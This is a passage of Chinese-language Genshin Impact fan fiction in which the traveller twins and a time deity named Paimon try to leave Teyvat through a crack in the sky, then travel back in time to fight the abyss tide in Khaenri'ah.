那时的维系者还不是维系者——至少不是这个称号。那时的祂们比雪山时更加简单,原初的法涅斯赠予他们的权能,就是祂们的名字。 法涅斯总是神神叨叨的,会趁着维尔金不在的时候,告诉他们一切关于世界的秘辛。 印象最深的其中一条就有关于时间。 “时间不能洗去一切伤痕,磨损的本质不过是用时间的钝刀裁去骨肉……” 那时的祂们浑浑噩噩,对深奥又飘渺的释义感到枯燥乏味,往往这时,似鸟又似人的身影就会深吸一口气,佯装生气道:“我说,你们在听我说话吗?” 猛然被创造者发现没有在状态而是在走神,三位实力强大、却诞生没多久的影子都心虚地低下了头,只有一个头发白得像是忘记上色的影子看着造物主的眼睛,不解问道: “如果时间什么都无法改变,只是不断地在裁剪既定存在的事务,那么时间回溯的意义是什么?重置的意义又是什么?” 那就是空间。 白发的影子理直气壮地说道:“如果一切没有意义,那为何要创造生命、为何不沉浸于虚无呢?” 红发的影子猛然抬头,她小心翼翼地拉扯白发的影子,小声说道:“喂,你难道是被深渊生物同化了吗?怎么突然对法涅斯大人说出这样不敬的话来?” 金发的影子祈求道:“空间只是无法理解您的意志,对不起,是我们太过懈怠,还请您不要生气……” 另一道影子始终一言不发,但毕竟正是以为她的本质才致使空间有可能被责罚,害怕同胞受伤的她也向自己的造物主求情: “……请直接责罚我就好了,都怪我,到现在都无法理解自己的本质,无法正确地使用属于自己的力量……这是我的失职。” 造物主确实是笑着摇了摇头: “不,这个问题正好是我后面要讲到的。” 半人半鸟的存在宽容地蹲坐在除了蓝天白云一无所有的世界,祂先是感受了一番自己的躯壳身在何处,确认了祂尚在世界的另一个极点之后,祂才聚拢自己的影子们,语重心长的说道: “你们要记住,不论未来发生什么,务必不能离开提瓦特。一旦离开提瓦特,时间空间也好,生命死亡也罢,你们所拥有的一切都将归零。” 四个影子面面相觑。 祂们那时太过年轻,不知道原初之人的每一句话都是深刻的谶言。 “一定要记住,千万千万不能离开提瓦特,我所给予的权能,有且仅有在提瓦特生效。” “为什么?”空间却不解,她不认为原初的目光不敢企及传说中的星辰大海,所以更加无法理解,“难道我们的一切只有在提瓦特才是真实的、一旦到外面就成为虚假的骗局了吗?那我们的存在,究竟是真实还是虚假的呢?” “不要质疑自己的存在,你们的存在就证明了一切——如果你们的存在只限于提瓦特,为什么不能反过来思考,真实的是提瓦特,而世界之外的存在才是虚假的呢?”男人打断道,“退一万步,就算提瓦特已经濒临崩溃,就算世界已经来临末日,你们也不能抛弃它;就算提瓦特只剩下尸体,你们都不能走。” “那「它」呢?”红色的影子问道,“我曾透过你的视线见到「它」从裂缝中离开世界,为什么同样的事情,「它」可以,我们不行?” “因为你们是不一样的。”男人重复一遍,“从一开始,从本质到形态,里里外外全部都不一样。” “那如果「它」打算带我们走呢?”时间怯怯地问道,“如果所有的水渠干涸,大地不再生出生命,一切归于混沌,人类不再歌唱,深渊重回地表,一切荣归虚无——到那时,我们可以卸下职位,离开提瓦特吗?” “不会有这一天的,而且就算世界毁灭也无妨——” 四位影子听到自己的创造者笑着说出了一个在当时毫无察觉、如今想来却格外毛骨悚然的可怕事实—— “反正这里是提瓦特,就算出什么错误,只要「世界树」没出问题,进行重置后一切从头再来就不就好了嘛!” 维系者睁开眼,再抬起手掌心,黑红色的方块已经位于其中,空间的执政官终于决心摧毁这一切—— 反正,进行重置以后,一切从头再来就好了。 · 坎瑞亚皇宫 和沉入梦乡的普通人不同,传说中的贤者们被招至气氛有些沉重的大厅,五道人影分列站至中庭中央,而高居于王座的,正是先前同荧不欢而散的坎瑞亚君王。 沉默蔓延在幽暗的王庭,烛火早早地被宫廷的奴仆熄灭,夜晚已经为坎瑞亚人披上一叠安睡的外纱,只是这份安然睡去的虚假宁静跟知晓一切的人们无关。 有些人注定被牺牲,有些人注定能分食胜利的果实。 坎瑞亚的五贤者早早对当下的境况做足了心理准备,时间的女主人和死之执政大大方方降临意味着什么,已经无需多言。眼下,唯一值得他们汇聚于此的理由只有一个。 “各位,坎瑞亚已然到了生死攸关的时刻。” 伊尔明率先戳破了这层毫无意义的窗户纸,高高在上的王者看不见五贤者迅速交换的眼神。 作为一个国家的君主,伊尔明更加在乎坎瑞亚,而非别的什么。 “我们的邻居作何反应?” 莱茵多特紧蹙着眉头,警告道:“倘若世界树连接地脉的根须被啃食殆尽,哪怕所谓尘世七执政也无能为力——还是说,天空岛给予了他们解决之法?” 坎瑞亚国内还存在不少主张向天空岛祈求神明赐福的国民。不是所有人都能够接受用虚无缥缈“以凡人之力并肩神明”的鬼话来充当填饱肚子的粮食。 丧失力量的土地本就已经难以为继,眼下转换器出逃……莱茵多特眸子暗沉,就算挺过了深渊,未来的坎瑞亚也注定会走上分崩离析的道路。坎瑞亚人也是人,只要是人就很难拒绝摆在面前的通天大道。 “「黄金」,难道你还寄希望于天空岛拯救我们这群和祂所建立之世界格格不入的异类?”「极恶骑」看出来她的言外之意,不满道,“只要我们击溃眼前的灾难,坎瑞亚也好,我们为之所图的梦想也罢,一切都将归于我等掌控!” 「贤者」也不紧不慢地说道:“刚刚镇守深渊边界的将士来报,那条盘桓在世界树之根的巨龙已然将世界馈赠我等的国土与天空划开界限,但是与之相对,深渊污染正在迅速浸透我们的国土。” 熙熙索索的讨论声随着这一可怖消息的传达愈演愈烈,独眼的王者环视一圈,直到五人争论渐渐安静下来,才再度开口,言简意赅道: “这也是代价的一部分。” 话到此处,所有人也很清楚,所谓“代价”,就是他们如今必须正面对上即将从地底上涌的由深渊污秽结合而成的污秽之潮。 天空岛不可能会伸出援手的,哪怕是最偏向于天空岛的「黄金」也不得不承认,他们的所作所为跟在天空岛敏感的底线跳舞没有任何区别。 “今天,时间的魔神降临在我们神圣的无神之国土上。”象征着洞察与远见、同时对时间之轮了解颇深的「预言家」向他的同僚说道,“我们不能保证,污染的加速侵袭以及日益丧失的地脉不是天空岛的阴谋。” “时间的女主人或许利用了这一点,神不知鬼不觉地扰乱了提瓦特的地脉。所有人都知道天空岛的神明向来高高在上,唯有于深渊一切相关的消息才能吸引他们的目光。这样看来,不管是先前在发掘遗迹之时挖到的少年还是公主天生具有的奇迹……一切都只是他们刻意设下的陷阱,为的就是防备我们探查到天空岛为何能统治世界、掌管无上权能的秘密!” “各位,我们冒着被尘世七执政执掌的国度围攻、被天空岛毁灭,甚至于被兄弟姊妹唾骂、身败名裂的地步,可不是为了如今临了时依旧只能面对天空的制裁而手足无措——” 伊尔明赞许地点了点头,然后又将矛头指向方才唯一一个显露缓和意见的贤者:“莱茵多特,你认为呢?” 追求炼金术无上极致的「黄金」不予置评。 大局已定,既然「贤者」和「预言家」都认为这一道路正确无误,连君主也支持他们,她还有什么质疑的理由呢?事已至此,后退只会一无所有,唯有前进,才能博得一线生机。 “我没有异议,已经提前预备好的炼金造物足以作为深渊的载体。” 莱茵多特顿了顿,抬眼,看向一旁沉默不语的「猎月人」,再度确认:“地下深渊的种群数量确定无误?” “如果你不相信我的眼睛,我不介意你去用忠诚造物的眼睛去判断真假。”雷利尔冷淡地说道,“但既然你没有办法探明地底情况,就应该相信我的判断。” “我相信雷利尔的判断。”「极恶骑」也赞同道,倒不如说,事已至此,再去计较地底下的状况还有何意义呢? 无非是损耗多少的问题。 而且谁都清楚,伊尔明叫他们过来也不是为了征求他们的意见,坎瑞亚只能靠他们去下去解决即将涌上来的深渊之潮。 “我们将前往最前线,将灾厄扼杀于摇篮之中。”「贤者」说道,“我们即将出发,深入幽暗的地底,将转换深渊之力的阀门关紧,并最大限度地保存坎瑞亚的有生力量。” 独眼的君王如是承诺道: “届时,我相信,我们一定会获得胜者应有的一切!” 第94章 第 94 章 为了妹妹,把坎瑞亚给拆…… 如果法涅斯是一只喜欢搭窝的小鸟, 那提瓦特就是一个巨大的鸟窝。 现任天理维尔金就是那个被小鸟塞进树枝堆的小蛋壳。 似乎也不太对?毕竟这一鸟一蛋可一点不小。 伟大的时间之魔神抬头望向无边无际的墨蓝色星空,在心底默默纠正自己不那么恰当的修饰语。 许许多多从前一直无法想明白的谜团如今都得以顺利解开。包括派蒙在内,很多魔神都曾无法理解虚假之天甘愿自囚压缩力量, 将更像同类的长生种们流放至暗之外海, 而选择弱小的人们享用提瓦特的一切。 死去的原初之神不会说话, 活着的四影执政不会是虚假之天的对手, 所有人都在等待维尔金的抉择, 等他将这个世界划分洗牌。 他们的运气很好。 法涅斯对维尔金好,维尔金就对他好。 再美好的故事也总会有人受伤,虽然结果令尼伯龙根的古龙们不怎么满意,对非人类长生种、乃至魔神们都不怎么好,但是只要一想到维尔金的本质居然跟啃食世界树的魔龙相同, 派蒙的心中尤然涌起一股对未曾谋面的原初之神的莫名的悲伤和敬佩。 所有人都要感谢法涅斯为天空岛争取来一位如此可靠的存在,要是维尔金跟着那条蛰伏的魔龙一起啃食世界树……别说坎瑞亚一侧的枝桠,要是这两个家伙, 恐怕就连世界树都要被啃光了吧? 耳朵听着兄妹俩灌注的旅行, 脑子已经运作的有些稀里糊涂。派蒙全凭本能飞向了那个烂熟于心早早记住的裂缝,眼下正一手抓着还在絮絮叨叨告诉她一箩筐乱七八糟事情的空,一手抓住时不时替哥哥补充重点的荧, 脑袋里已经乱成了一锅粥。 不过好在派蒙依旧艰难地抓住了重点: “——我是搞明白了, 只要坎瑞亚一出事, 整个提瓦特就会变得一团糟。” 荧纠正:“重点不是坎瑞亚, 坎瑞亚只是一切的导火索。” “我倒觉得差不太多, 意思到了就行……”空弱弱道。 “……” “对不起我闭嘴。” “哼。” 空果断闭上嘴举手投降后,荧收回锐利的目光。 所谓见微知著大抵如此,坎瑞亚足够叛逆,却也留下了鲜明过头的提瓦特色彩。一个不断堆积硫磺和硝酸甘油的炸弹总会有爆炸的一天, 无神之国的叛逆只是一个引线。虽然这个引线让大家操心劳力……但光是解决引线不光解决不了炸弹,稍有不慎还有可能惹得炸弹提前引爆。 刺骨的冷风狠狠地拍打在脸颊,冲淡了他们之间谈话声音的同时给了始终憋着一口气的荧一个发泄怒火的机会,想当不给面子的吐槽: “根源在于那个乱啃世界树的脑子有泡龙、你们那忍了几千年然后突然发疯的大小领导,还有一直当谜语人的原初神!” 派蒙倒是完全没有被一起骂进去的自觉,虽然继承了伊斯塔露的权能,可毕竟坏事她没有掺和,跑腿的活更是一个也没有少干,更是忍不住频频点头:“维系者一定是被工作弄疯了,要我说早就该让维尔金多招几个人上天空岛干活了。” 与之相对的是因为亲眼见证维尔金启动重置所以总觉得事情还有转机的空。 “好消息是维尔金后来真的招了两个人,坏消息是至少得是好几百年后了。”空给派蒙的美好愿景判了一个有期徒刑,又补上一句,“虽然维尔金有时候不太靠谱,但是维系者一定能劝住他的。” 说完,又歪头向派蒙征求一个肯定的答复:“是这这样没错吧?” 派蒙欲言又止,她对自己一起日夜不休一起干活的维系者很了解,但对于死之执政若娜瓦…… “……若娜瓦出现之前我可以毫不犹豫地赞同你的问题,但现在的情况不好说。包括你们口中坎瑞亚人后世遭受的不死诅咒……现在想来,应该也是独属于她的权能,可唯独异化为怪物这一点……”派蒙迟疑了一会,最终说出了在大家眼里都不怎么美妙的答案:“按之前你们描述的时间线和发展走向来看,你们所经历的故事线这位常年闭门不出的死之执政没有出现——至少没有直接露面参与坎瑞亚之战,但这次,维尔金在处理世界树的问题,维系者和若娜瓦双双前往坎瑞亚,还勒令我带你们离开提瓦特……我说不上来,但是总有种不妙的感觉。” 荧直接了当问道:“你觉得有什么比坎瑞亚灭国后深渊入侵地表、所有坎瑞亚人被不死的诅咒困扰、永世不得安宁更可怕的未来吗?” 派蒙一时之间不知道该如何回答,答案自然是有的。 时间之执政——那位原初之影曾经告诉过派蒙很多生涩晦暗的名词。 具体的很多,她都已经记不太清了,但唯有关于深渊的部分,她记得非常清楚。 “那大概就是变成无知、无智又失能的深渊之物吧。不过听你们的描述,坎瑞亚人的结局似乎并没有比这好上多少。” 越是往高处飞行,离天空岛越远,天空越是暗沉。蓝天和白云被抛在身后,黑暗开始为天空附着上深邃的颜色,或是璀璨、或是黯淡的命星环抱其中。 这是提瓦特的裂缝,也是虚假之天的唯一真实之处。有些人喜欢更加高深莫测一些的描述,但派蒙一般将它朴素地简称为裂缝。 “总而言之,维尔金已经搞定了啃食世界树的毒龙,若娜瓦和维系者把我们赶回天空岛一十有八九是打算对坎瑞亚施展诅咒……既然目前已知的两个世界线走向都是坎瑞亚人被诅咒,维尔金恐怕注定是无法及时赶到坎瑞亚。”派蒙解释道,“权能只会在提瓦特发挥作用,一旦你们能够脱离提瓦特内部,说不定就能直接拿回属于你们的力量,坏消息嘛……不管是你们说的不死诅咒还是坎瑞亚王国被毁灭,都只是发生在坎瑞亚内部的事情,一旦维系者下定决心放弃整个坎瑞亚——” “最可怕的结局,就会使坎瑞亚被抹去世界树上存在的证据,连同物质和精神被抛出提瓦特,沦为那些你见过的、来自星空之外的无知生物。” 派蒙顿了顿,视线刻意回避裂缝的存在。 “我们称呼他们为深渊魔物,他们会贪婪地攀附在一切可寄生之物的身上,对视是邀请他们入侵的桥梁,血肉是供给他们生存的躯壳,原本的灵魂只会成为他们适应这个世界的信息库。他们拥有无与伦比的适应力,就像向寄生虫一样,直到啃食完大树后,才会带着寄生的躯壳重新回归星空,去寻找又一个能够供他们吸食的世界。” 时间之魔神紧紧盯着近在咫尺的世界裂缝—— “那地方对我们而言很危险,但你们毕竟就是从世界之外而来……如果下定决心离开也不失为一个正确的选择。” 派蒙拍了拍从见到起就觉得格外亲近的兄妹二人,隐晦提示,“你们知道其实提瓦特的存亡不会对你们有任何影响吧?就算是降临者,掺和进一个世界的存亡更新也超级超级危险哦……要不干脆,趁我还没有慌得不行拖你们下水之前赶快离开呢?” “不用劝了,他不会听的。” 荧不轻不重地用指节敲了敲大发善心的时间之魔神,别扭着道,“而且来都来了,哪里有走空趟的道理?先说好,拿回力量我第一件事就是去好好教训一下坎瑞亚人!” 空顺着荧的视线看去,那是一道隐晦得几乎无法用肉眼看清的裂痕。 派蒙指着那道裂缝,说道:“不管坎瑞亚人对荧妹妹做了什么,只要离开提瓦特,一切束缚都将失效,总而言之,先试试吧。” “要不要绑个绳什么的?”空仔细打量着看上去状态就不是很美妙的裂缝,若有所思,“我可没有进入提瓦特时摸到深渊魔物的印象……派蒙,提瓦特只有这一道裂缝吗?” “想什么呢。” 空松了口气。 “提瓦特怎么可能只有这么一条裂缝?”派蒙向空科普道,“你知道维尔金的本体是孵化法涅斯的蛋壳、而提瓦特的天空是由他的本体包裹而成的吧?” 空点点头。 “所以说,谁家小鸟破壳而出的时候只会凿出一个裂缝啊……” “不对,哥哥——” 唯一在干正事的荧眉头一皱,顿觉不妙。 没有曾经熟悉的光翼,甚至于连在提瓦特掌握到的元素力也消失在了漫无边际的漆黑宇宙。 荧虚握着手掌心,深渊的污染依然堆积在她的身体的每一处血管,她回望看向那道白茫茫的裂缝,凝重道: “力量没有回来。存在于提瓦特内生物所造成的影响理应在我们离开名为提瓦特的世界开始失效,但是,这份来源于坎瑞亚地底的深渊污染却始终没有消失。” “这,怎么会这样?”派蒙脸色大变。 “世界的规则不会改变,只有一种可能,提瓦特的概念不局限于世界单纯的陆地和天空。”荧恶狠狠地骂了两句,上前一把擒拿住脸色大变想要打道回府的兄长,“哥,你真是我亲哥啊!你动动脑子想一想,就派蒙那个样子她能说谎吗?虽然是名义上的半个执政官,但是她看起来知道的还没我们两个加起来多,装是装不成那副懵懵懂懂的样子的!” “坎瑞亚有问题?” 荧摇头:“我更倾向于提瓦特本身可能还存在一些连四影执政都没搞清楚的事情,这个世界太邪性了,乱七八糟的重置,胡乱发展的故事线,还有无法更改的命运,以及无时无刻不走在毁灭边缘的世界……我们甚至已经忘记了我们造访这个世界的初衷,还记得吗?哥哥你跟我说过,维尔金曾经告诉过你,降临者们不会受到重置和磨损的影响,但我们都忘记了很多。” “我在想,或许,像我们一样的降临者,还有很多位。但是他们可能没有我们幸运,最后迷失在了这一方寸之间,成为了某个故事里的配角。” “对,我们早该想到的。”空捂着头,“维尔金一开始就什么都说了,但是我当时完全没有意识到问题所在,比如维尔金说要尽快离开这个世界,比如说我最开始答应了维尔金在找到你之后立刻离开,还比如说……神之心的原材料。” “降临者与魔神融合的骨血,有够直接的——我决定撤回先前对天理的一切恶评,这家伙还真的是什么都没打算瞒。说不定你要是问世界树重置密码还真就告诉你了。” “所以我说维尔金很可信嘛。” “我没在夸你们。倒不如说如果我是法涅斯一定会抓着维尔金大声质问他到底守护了什么。虽然我没有见过原初的提瓦特,但至少应该不至于像如今的这么离谱” 荧的脸色越发难看,当下立刻决定,“这力量就当我送给提瓦特算了,被狗啃半边身子算我倒霉。提瓦特现在处于一个我完全看不懂的状态……哥哥,这下我真的担心我们的旅途、乃至于我们的生命止步于此了。” 空歪头:“那带着派蒙跑路?” “才不要,现在调头回坎瑞亚,我要杀了伊尔明。” “可是你的力量……” “所以靠你了,哥哥。”荧伸出拳头,认真道,“为了我,把坎瑞亚给拆了吧!” 第95章 第 95 章 公主的前夜 “放心, 保证完成任务!” 空哪里见过自家妹妹这么真情实意的邀请,脑子瞬间宕机,不仅迅速答应, 甚至还当场开始计划起来—— “现在我们赶回坎瑞亚, 说不定能够正好赶上坎瑞亚灾厄, 要是能够赶在灾厄爆发前解决掉坎瑞亚, 远在世界树另一端的维尔金应该也会兴奋得睡不着觉吧?” “维尔金如果真睡不着觉肯定也是因为你们的计划让他寝食难安、根本睡不着!”派蒙双手叉腰, 气鼓鼓道:“别的也就算了,毁灭坎瑞亚想都别想!” 派蒙生怕兄妹俩头脑发热就去给本来已经水深火热的坎瑞亚再增添一些苦难。 “怎么不可以?”荧双手叉腰,没好气道,“我失去了原本的力量不说,我们兄妹俩还被迫牵扯到提瓦特世界本源这一系列乱七八糟的事情里。只是掀翻一个坎瑞亚而不是毁掉整个提瓦特已经很给面子了!” “……这个倒也确实……但不过坎瑞亚大部分人都是无辜的呀……”派蒙心虚地对手指, 随后马上反应过来:“不对!差点被你绕进去了!退一万步讲,就算你想毁灭坎瑞亚你们两个加起来也不是维尔金一个人的对手!” “是啊,这不就没打算毁提瓦特。”荧大方点点头, 顺道给一惊一乍的派蒙理了理思路, “所以只要把坎瑞亚掀翻就行——虽然我不是什么好人,但是滥杀无辜的事情还是做不出来的。所以接下来还得靠你了,派蒙。” “我?”派蒙连连摆手, 坚定拒绝道, “不行不行, 我不能跟你们同流合污毁灭坎瑞亚, 而且之前不是说好的吗?我们要一起回去组织坎瑞亚灾厄爆发, 把一切悲剧的源头掐灭在这次再变之前的吗?!怎么能说话不算话!” “首先前提是拿到原本属于我们,也就是来自世界之外的力量。但这不是没拿到嘛——再者我只是想毁掉坎瑞亚这一个存在,又不是说要杀光坎瑞亚人,不要那么一惊一乍啦。” “要是大家都不满意的话, 我”有一计。”空举手,“我建议让维尔金再重置一遍提瓦特。” “不行!” “绝对不可以!” 两道声音同时响起,多亏了空异想天开的办法,派蒙和荧终于能够站在统一战线。 不得不说,空的粗神经让哪怕是习惯了维尔金时不时冒出一些诡异想法的派蒙也为之汗颜。先不说重置——这个办法当然是可行的。倒不如说,根据空和荧二人的经历来看,每当世界走到死胡同时就会开启重置。 空疑惑:“为什么不行?” 虽然这个办法听上去既不讲道理又很大材小用,但事已至此,短时间内能想到的一切解决办法恐怕也不会有比重置更好了。 “哥哥,你还记得我说过‘提瓦特发生过最少三次重置’这个先决条件吧?派蒙也提到了,裂缝后的世界本应该就不属于提瓦特才对,但是现在,不仅裂缝之外的世界依然处在提瓦特内,我们关于最开始来到这个世界的记忆也变得模糊不清,这只能说明一件事——” 荧深吸一口气:“重置这一手段,存在着连天理也没有察觉的弊端。” 什么弊端能让提瓦特无出其右的存在无法察觉? 荧给不出答案,但本能告诉她,这种涉及世界底层逻辑的存在一旦崩溃,哪怕是作为旅行者的他们,恐怕也难以从中安然脱身。 “好纠结,这也不行那也不行,既不能就这么放着坎瑞亚不管,现在有若娜瓦和维系者在也没办法管……”派蒙脑子发昏,“……要不我把坎瑞亚的时间流速暂停?” “时间的权能可以暂停坎瑞亚的时间,却不能暂停之后奔涌的深渊之潮。”荧一锤定音,“听我的,现在立刻马上,我们调转方向赶在维系者和死之执政若娜瓦动手前回到坎瑞亚——别觉得来不及,天理一定给四影执政下达了某种禁制,不然她们怎么可能会先大张旗鼓地降临,甚至于把我们撵走还不动手?” 荧重新整理思路,将整个计划梳理了一遍。 “我们兵分两路路,我去找坎瑞亚地底连通地脉和深渊的峡口,哥哥去找天理镇住那两个影子执政,派蒙跟我负责想办法拖延时间,把坎瑞亚炸掉也好,还是在坎瑞亚王城上空2V2拖时间拖到天理把她们俩打包带回天空岛也罢,总之,不管用什么办法,托住她们,然后等天理到场。” “那坎瑞亚人?” “如果伊尔明还有脸自诩为王,他就应该让他的护卫队们送普通民众离开;而退一万步来讲,稍微有些警觉性的、能够意识到这个国家已经大难临头的人,只要看见三位来自天空岛的神明莅临坎瑞亚,一定会意识到该跑了。更何况……” 荧顿了顿,相当残忍地说出一个在场人都清楚事实: “一旦诅咒降下,坎瑞亚人会恨不得他们自己干脆直接死在这场灾厄之中。” 至少陪伴着国家一起死去,比流落他乡、受尽冷眼,最后在无尽的折磨于痛苦堕落死去要好。 派蒙若有所思,“那换句话来说,我们赶在若娜瓦和维系者之前毁掉坎瑞亚,是不是就能使她们无法降下针对所有坎瑞亚人的诅咒?” “只是一个简单的猜测,但事已至此,试试总比在裂缝旁边干等着要强吧?” 荧回过头,撇了撇嘴:“再不济,能让我出出气也是极好的嘛!” “那我们出发?” 荧高深莫测地摇了摇手指,看向派蒙:“不是出发,是回溯!” “坎瑞亚现在情况特殊,就算我将提瓦特的时间节点回溯到我们尚未离开的那段时间……搞不好只会让本就摇摇欲裂的地脉彻底破碎断裂,灾变提早发生……不过这倒是提醒了我。” 派蒙从衣袖的空洞里掏出来两只金色的怀表,分给空和荧。 “诺,正好你们两个一人一只。” “这是能够回溯到过去时间的怀表,由于怀表作用的是使用者本身,所以不会对周遭环境产生任何影响,需要注意的只有一点——” 派蒙严肃地告诫: “一定要记住,千万千万不能跟过去的自己碰面哦!” 空点点头:“我们可以把回溯的时间框定在派蒙带我们返回天空岛这一个范围中,这样不论我们去哪里,只要不去天空岛,就一定不会违反怀表的规则。在这之前,派蒙,万一,我是说万一……” “假如拿着怀表的我见到了过去一无所知的我……会发生什么?” “我不确定。” 派蒙看向金色的怀表,半抿着唇,“可能会导致时间产生错位,也可能会导致世界树的数据混乱出错,进一步导致整个提瓦特出大乱子、甚至世界毁灭什么的。” “但至于真正的后果是什么?我不知道——而或许,这也是后果之一?” 第96章 第 96 章 骑士的半日 时间是一个非常特殊的存在。 不像空间那样, 只要站在那里便能够感知到存在,也不像生与死迫切而又紧急。时间是一种,生来便有、然后一直失去的存在, 杂糅了生和死, 从空间的缝隙中悄然前行。 只有当风带走衰老的沉渣, 吹开掩埋故事的沙土时, 才能猛然发觉它的存在。 空:“……所以结论是?” 荧:“时间紧任务重, 能不能说得更加通俗易懂一些?” 挫败的时间之魔神低垂着脑袋,放弃给面前两个毫无艺术感的外来人士用来自伊斯塔露顷请传授的方法解释。 “总而言之,时间的权能包含了记录的作用,正常情况下只有我本人能够发动。不过事情紧急情况特殊,我刚刚又在在这两个怀表上都附着了我的一部分意识碎片, 一旦发现有什么不对的地方,立刻催动权能留下锚点回溯时间。” “我明白了。”空沉吟半分,立刻恍然大悟, “相当于给我们开启了低配版的无限次重置?” “这么理解也没错, 提瓦特发生的一切都会被地脉记录,顺着地脉涌流循环往复,最终流向世界树, 成为浩瀚数据库中的一缕丝线, 锚点的作用就是将地脉记录暂停, 使得在世界树的存储记录中, 降临者「荧」和降临者「空」始终处于一种未被观测确认的状态——只要没有被记录在世界树内, 哪怕你们都死透了,我也有办法能够拉回来。” 空拿着金色的怀表,忍不住好奇问:“那可以用这个办法转移坎瑞亚人吗?” “原则上可以,实操上不行。” 越是涉及到提瓦特和世界树底层逻辑的操作往往越容易出岔子, 君不见强大如维尔金也没能察觉到重置之法的弊端。要是因为派蒙擅自使用权能,不但没能救下整个提瓦特,反倒还好心办坏事使得整个提瓦特毁于一旦—— 一想到还存在这样可怕的后果,派蒙不由得连连摆手。 荧一个暴栗拦住了兄长。 “哥哥,不要老想着用作弊手段解决问题!给我认认真真老老实实地一步一步来啊!” “我这也是为了让大家省时省力嘛……”空捂着头,吃痛地碎碎念。荧丝毫不惯着自家亲哥,双手环胸,像是训小鸡一样训斥自家兄长: “不许玩弄规则,不许再突然来些奇奇怪怪的大胆想法,知道了吗?!” “好啦好啦,我知道了。” 空随口答应,一把握紧怀表,正色道:“闲话不说,我去世界树找维尔金了——等我回来,荧。” “等解决完一切,我们再带着这份宝贵的回忆一起去畅游其他世界吧!” 话音才落,不等荧张口道别,随着一道金光闪过,空乍然消失在了荧面前。 还没来得及道别的荧:“……” 派蒙心虚地别开脑袋,她都快不记得是多少次做这个动作了,但事已至此,她也只能为自己小小辩解一番:“……我知道正常怀表是用按的,但这不是临时搓出来没来得及给维尔金校对好功能嘛……你放心,以后肯定会给你们补一个功能正常作用齐全的时间怀表!” 良久,荧叹了口气。 “算了,这可能也是命运的一部分……派蒙真是的,一如既往的不靠谱。”荧主动伸出手,紧紧握住比自己还高半个头的白发神明,在后者略显讶异的神情中,同样也经历过重置、但是却是维系者进行重置世界的荧对自己曾经最好的伙伴发誓: “这次,我会守护属于我们的一切。” “诶?你在重置之前,也认识我吗?” 派蒙微微偏头,映照着星空的眸子中同时烙印着少女恍然的面容。 荧微微挑眉,却不再继续这个话题:“走吧,我们去坎瑞亚。” 派蒙不明所以,可现在毕竟不是纠结这些细枝末节的时候,干脆直接催动权能,将回溯的施加坐标设置在他们离开坎瑞亚的刹那—— 扭曲的时空螺旋包裹着二人,派蒙定下心神,专心操作二人的落点坐标。失重感乍然传来,派蒙反射性拉住身旁没有翅膀的荧,却听到后者幽幽叹出一口浊气,伴随着刺耳的风啸和嘈杂的乱音,派蒙听见了荧说的话—— “……我有一个朋友。她胆小、贪财、喜欢在我耳朵旁边碎碎念,却是在我与哥哥失散之后遇到的最好的朋友,我在沙滩上钓鱼果腹,没想到钓上了晕在海里的她。很弱,但很有趣,我们成为了朋友。从那以后,她就成了我周游提瓦特的向导,我就是游历七国寻找哥哥的旅者。” 派蒙恍然:原来荧妹妹是触景生情,因为空的离开又开始东想西想了。 “那她呢?” 想来荧和空二人已经重逢,派蒙也想当然地认为这是一个拥有美好故事,兴冲冲地问:“现在你和空重聚,那她是不是也踏上了新的旅途?她是坎瑞亚人吗?难道就是因为她,你才选择在坎瑞亚停留、直到被伊尔明那家伙利用吗?” “不。”荧叹了一口气,接着说道,“我找到了哥哥,却因为无法理解彼此而再度分别,我原以为她会永远陪伴着我,却没有想到,命运早就暗地设下陷阱。” “所以她死了,后来世界重置,一切重头开始。” “呜……这是什么急转直下的痛苦剧情。”派蒙紧紧皱着一张小脸,一执政官一降临者的传送速度比她想象得要慢——也不知道为什么空刚刚一眨眼就消失不见,她还在苦哈哈定位锚点。 “很痛苦,所以我这一次转变了思路,我没有去找她。没有我们这些异乡人的干扰,她会过得更好。” “你见到她了?” “当然没有啦,现在她应该还没有出生。”荧压着眼,只露出半眯着眼睛。她半是庆幸,半是宽慰道,“不过你放心啦,她没有你高,没有你强大,也没有你帅气……只是一个普普通通的小精灵而已,不必担忧自己的高大形象受损。” “喂……” “好了,闲聊终止,看来咱们定位的时机刚刚好——” 漩涡张开一道小口,荧一跃而下,虚握的掌心顷刻间凝成七柄由纯粹深渊力量构成的长矛,尖锐的长矛瞬间掷出,狠狠钉在奔涌的兽潮,顺带扎死了为首的几只长相奇特的深渊魔物。 派蒙也紧随其后,趁着兽潮被短暂拦住的数秒,时间之魔神无限拉长了魔物们挣脱的时间,又将其存在的时间无限缩短。 眼尖的荧发现,直接作用在深渊魔物身上的时间权能似乎并没有起到它应该有的作用,但好在前者及时生效,偌大的兽潮乍然刹车支柱。 “这就是……时间的力量吗?” 不知道是哪个人说出了这句话,只是一个晃神,戴因斯雷布就察觉到眼前多了一片金灿灿的东西—— “小心,戴因!” “好久不见,戴因。” 发鬓别着坎瑞亚国花的少女瞬移到末光之剑身旁,紧接着抓住他受伤的手臂,不顾他还有同僚在场,直接将掌心附着在伤口之上。 血淋淋的伤口接触到常年紧握单手剑的掌心,粗糙的剑茧磨得伤口生疼,深渊的污染一刻不停地腐蚀着血肉,戴因斯雷布青筋暴起,硬生生止住了自己的本能反应。 “还好,还有的救。” 所有人都能清楚地看见,紫黑色的污秽顺着少女接触的掌心流入她的体内,直到松开手,戴因的伤口不再遍布紫黑色的斑点,而是流出暗红色的血液时,戴因斯雷布才反应过来,低声着试探问道: “……公主殿下?” “哦?公主?真是令人怀念的称呼和难得的疏离感,既然你叫我公主殿下,那我还是叫回你末光之剑好了。” 少女纷乱的发丝飘舞至宫廷卫队队长的眼边,按理说,戴因斯雷布应该只在宫门前广场远远地见过这位当时甚至被黑王伊尔明立为王储的异乡人,他们之间的关系理应止步于互相听说过对方的存在。但不知为何,一种无言的痛苦和窒息像是一只大手扼住了他的心脏,痛感反馈到面上,甚至染红了戴因斯雷布的眼角。 “戴因!” 维瑟弗尼尔快速上前,哥哥的声音提醒了他们现在身处何处,戴因斯雷布这才仿若从梦中惊醒一般,后退半步,从少女的怀抱中脱身。 “你对戴因做了什么!”作为兄长的维瑟弗尼尔冷冷盯着眼前这个背叛了坎瑞亚引狼入室的女人。 “别一副被我占便宜的样子,我可是好不容易把你们从深渊的淤泥中给拯救出来。” 荧双手环胸,少女一旁的派蒙扫视着周遭的一切。眼下只有六个人,难道坎瑞亚的兵力都用来疏散民众了吗? “谁能解释一下现在是个什么情况?”荧问道。 